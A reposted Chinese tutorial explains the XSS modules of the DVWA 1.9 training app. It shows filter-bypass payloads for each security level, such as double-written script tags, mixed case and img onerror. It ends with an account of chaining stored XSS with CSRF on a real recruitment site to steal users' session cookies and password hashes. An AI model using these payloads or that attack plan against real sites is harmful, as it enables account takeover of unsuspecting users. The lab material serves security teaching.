转载

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

*本文原创作者:lonehand,转载请注明来自FreeBuf.COM

目前,最新的 DVWA 已经更新到 1.9 版本( http://www.dvwa.co.uk/ ),而网上的教程大多停留在旧版本,且没有针对 DVWA high 级别的教程,因此萌发了一个撰写新手教程的想法,错误的地方还请大家指正。

DVWA简介

DVWA Damn Vulnerable Web Application )是一个用来进行安全脆弱性鉴定的 PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助 web 开发者更好的理解 web 应用安全防范的过程。

DVWA共有十个模块,分别是

Brute Force (暴力(破解))

Command Injection (命令行注入)

CSRF (跨站请求伪造)

File Inclusion (文件包含)

File Upload (文件上传)

Insecure CAPTCHA (不安全的验证码)

SQL Injection SQL 注入)

SQL Injection Blind )( SQL 盲注)

XSS Reflected )(反射型跨站脚本)

XSS Stored )(存储型跨站脚本)

需要注意的是, DVWA 1.9 的代码分为四种安全级别: Low Medium High Impossible 。初学者可以通过比较四种级别的代码,接触到一些 PHP 代码审计的内容。

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

DVWA的搭建

Freebuf 上的这篇文章《新手指南:手把手教你如何搭建自己的渗透测试环境》( http://www.freebuf.com/sectool/102661.html )已经写得非常好了,在这里就不赘述了。

本篇为完结篇,介绍 XSS 模块的相关内容,之前的教程:

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection(Blind)

XSS

XSS ,全称 Cross Site Scripting ,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是, XSS 不仅仅限于 JavaScript ,还包括 flash 等其它脚本语言。根据恶意代码是否存储在服务器中, XSS 可以分为存储型的 XSS 与反射型的 XSS

DOM 型的 XSS 由于其特殊性,常常被分为第三种,这是一种基于 DOM 树的 XSS 。例如服务器端经常使用 document.boby.innerHtml 等函数动态生成 html 页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生 DOM 型的 XSS DOM XSS 可能是存储型,也有可能是反射型。

(注:下面的实验都是在 Firefox 浏览器下进行的,感谢火狐没做 XSS filter

反射 XSS

下面对四种级别的代码进行分析。

Low

服务器端核心代码

Hello ' . $_GET[ 'name' ] . '

';  }  ?>

可以看到,代码直接引用了 name 参数,并没有任何的过滤与检查,存在明显的 XSS 漏洞。

漏洞利用

输入 <script>alert(/xss/)</script> ,成功弹框:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

相应的 XSS 链接:

http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(/xss/)%3C%2Fscript%3E#

Medium

服务器端核心代码

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
?>

可以看到,这里对输入进行了过滤,基于黑名单的思想,使用 str_replace 函数将输入中的 <script> 删除,这种防护机制是可以被轻松绕过的。

漏洞利用

1. 双写绕过

输入 <sc<script>ript>alert(/xss/)</script> ,成功弹框:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

相应的 XSS 链接:

http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Csc%3Cscript%3Eript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

2. 大小写混淆绕过

输入 <ScRipt>alert(/xss/)</script> ,成功弹框:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

相应的 XSS 链接:

http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3CScRipt%3Ealert(%2Fxss%2F)%3C%2Fscript%3E#

High

服务器端核心代码

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
?>

可以看到, High 级别的代码同样使用黑名单过滤输入, preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中 i 表示不区分大小写)不再有效。

漏洞利用

虽然无法使用 <script> 标签注入 XSS 代码,但是可以通过 img body 等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。

输入 <img src=1 onerror=alert(/xss/)> ,成功弹框:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

相应的 XSS 链接:

http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E#

Impossible

服务器端核心代码

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input 
    $name = htmlspecialchars( $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?>

可以看到, Impossible 级别的代码使用 htmlspecialchars 函数把预定义的字符 & < > 转换为 HTML 实体,防止浏览器将其作为 HTML 元素。

存储型XSS

下面对四种级别的代码进行分析。

Low

服务器端核心代码

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    // Sanitize name input 
    $name = mysql_real_escape_string( $name ); 
    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); 
} 
?>

相关函数介绍

trim(string,charlist)

函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括 /t /n /x0B /r 以及空格,可选参数 charlist 支持添加额外需要删除的字符。

mysql_real_escape_string(string,connection)

函数会对字符串中的特殊符号( /x00 /n /r / /x1a )进行转义。

stripslashes(string)

函数删除字符串中的反斜杠。

可以看到,对输入并没有做 XSS 方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型 XSS 漏洞。

漏洞利用

message 一栏输入 <script>alert(/xss/)</script> ,成功弹框:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

name 一栏前端有字数限制,抓包改为 <script>alert(/name/)</script>

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

成功弹框:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

Medium

服务器端核心代码

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = strip_tags( addslashes( $message ) ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 
    // Sanitize name input 
    $name = str_replace( '<script>', '', $name ); 
    $name = mysql_real_escape_string( $name ); 
    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); 
} 
?>

相关函数说明

strip_tags() 函数剥去字符串中的 HTML XML 以及 PHP 的标签,但允许使用 <b> 标签。

addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、 NULL )之前添加反斜杠的字符串。

可以看到,由于对 message 参数使用了 htmlspecialchars 函数进行编码,因此无法再通过 message 参数注入 XSS 代码,但是对于 name 参数,只是简单过滤了 <script> 字符串,仍然存在存储型的 XSS

漏洞利用

1. 双写绕过

抓包改 name 参数为 <sc<script>ript>alert(/xss/)</script>:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

成功弹框:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

2. 大小写混淆绕过

抓包改 name 参数为 <Script>alert(/xss/)</script>:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

成功弹框:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

High

服务器端核心代码

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = strip_tags( addslashes( $message ) ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 
    // Sanitize name input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); 
    $name = mysql_real_escape_string( $name ); 
    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); 
} 
?>

可以看到,这里使用正则表达式过滤了 <script> 标签,但是却忽略了 img iframe 等其它危险的标签,因此 name 参数依旧存在存储型 XSS

High

抓包改 name 参数为 <img src=1 onerror=alert(1)>

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

成功弹框:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

Impossible

服务器端核心代码

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 
    // Sanitize name input 
    $name = stripslashes( $name ); 
    $name = mysql_real_escape_string( $name ); 
    $name = htmlspecialchars( $name ); 
    // Update database 
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); 
    $data->bindParam( ':message', $message, PDO::PARAM_STR ); 
    $data->bindParam( ':name', $name, PDO::PARAM_STR ); 
    $data->execute(); 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?>

可以看到,通过使用 htmlspecialchars 函数,解决了 XSS ,但是要注意的是,如果 htmlspecialchars 函数使用不当,攻击者就可以通过编码的方式绕过函数进行 XSS 注入,尤其是 DOM 型的 XSS

最后附赠最近遇到的一个实例:一次有趣的 XSS+CSRF 组合拳

0×01 前言

最近执着于渗透各种 xx 人才网,前两天在某网站上发现了一个极其鸡肋的 XSS 漏洞,本来以为没有太大的利用价值,没想到结合 CSRF 攻击,却获得了意想不到的效果。

0×02 一个鸡肋的XSS漏洞

下面是某个招聘网站的用户个人资料界面:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

用户可以在这里修改自己的基本资料并保存,经过 XSS 测试,这里的输入都过滤了成对的尖括号( < > )、 script img、& 等字符,但是似乎遗漏了事件,于是尝试使用 input 标签的 onchange 事件注入 XSS 代码。

在通讯地址一栏输入  onchange=alert(2) 并保存,刷新页面,右键查看源码,注入成功:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

只要尝试在通讯地址一栏中输入新的内容,就会触发 XSS ,弹框:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

是的,成功触发 XSS 代码了,可是这个鸡肋的 XSS 漏洞有什么卵用呢?首先,这个 XSS 漏洞依赖事件触发,只有用户在修改个人资料时恶意代码才有可能执行,其次这是一个存储型的 XSS 漏洞,你不可能要求用户按照攻击者的意思,事先在自己的个人资料里键入 XSS 代码并保存吧。

0×03 CSRF带来的曙光

在修改个人资料的过程中,抓包发现这个修改接口并没有任何的防 CSRF 机制,存在明显的 CSRF 漏洞:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

这给鸡肋的 XSS 漏洞带来了曙光,于是想到了可以结合 CSRF 攻击实现用户 cookie 的大面积盗取。攻击思路如下:

1. 构造一个 CSRF 攻击页面,诱使用户访问(在这种招聘网站,发布一个包含恶意页面的虚假招聘很容易做到)

2. 用户访问页面后,个人基本资料会被清空,同时注入 XSS 代码

3. 用户尝试补全个人资料,触发 XSS 代码,自动发送 cookie

0×04 攻击演示

下面是构造的 CSRF 攻击页面:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

调皮地把 cookie 发(这里调皮地把cookie发给百度 = =

下面是本地的攻击过程演示:

1. 受害者进入攻击页面,会看到 “你的基本资料被我清空了”的提示:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

还会看到资料修改成功的提示,并跳转:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

2. 这时候受害者会发现自己的个人资料被清空了:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

却不知道已经被注入了 XSS 代码:

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

3. 当用户尝试修改通讯地址一栏时,就会触发 XSS 代码,自动发送 cookie (其中包含用户 id 、用户名、密码哈希值、 session-id

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

原文  http://www.freebuf.com/articles/web/123779.html
正文到此结束
Loading...